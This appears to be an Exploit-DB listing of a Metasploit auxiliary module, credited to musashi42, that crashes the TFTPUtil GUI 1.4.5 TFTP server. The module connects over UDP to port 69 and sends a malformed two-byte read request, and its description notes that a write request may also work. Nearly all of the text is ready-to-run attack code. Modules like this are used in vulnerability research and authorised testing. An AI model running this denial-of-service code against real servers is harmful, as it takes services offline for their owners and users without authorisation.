TFTPUtil GUI 1.4.5 – Denial of Service (Metasploit)
# Title: TFTPUtil GUI v1.4.5 Invalid Request DoS # CVE-ID: () # OSVDB-ID: () # Author: Vuk Ivanovic # Published: 2010-12-04 # Verified: yes ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## ## # # TFTPGUI v1.4.5 Invalid Request DoS # # Tested on: Windows XP, SP2 (EN) # # Date tested: 11/27/2010 # # # # Discovered by: Vuk Ivanovic(musashi42) # ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'TFTPGUI v1.4.5 Invalid Request DoS', 'Description' => %q{ The TFTPUtil GUI server version 1.4.5 can be DOSed by sending a specially crafted read request. Depending of the setup, sending write request "\x00\x02" may also work. Discovered by musashi42. }, 'Author' => 'musashi42', 'License' => MSF_LICENSE, 'Version' => '$Revision: 2 $', 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/12482'], [ 'URL', 'https://www.securityfocus.com/bid/39872'], ], 'DisclosureDate' => 'December 04 2010')) register_options([Opt::RPORT(69)]) end def run connect_udp print_status("Sending read request...") $stuff = "\00\x01" udp_sock.put($stuff) disconnect_udp end end |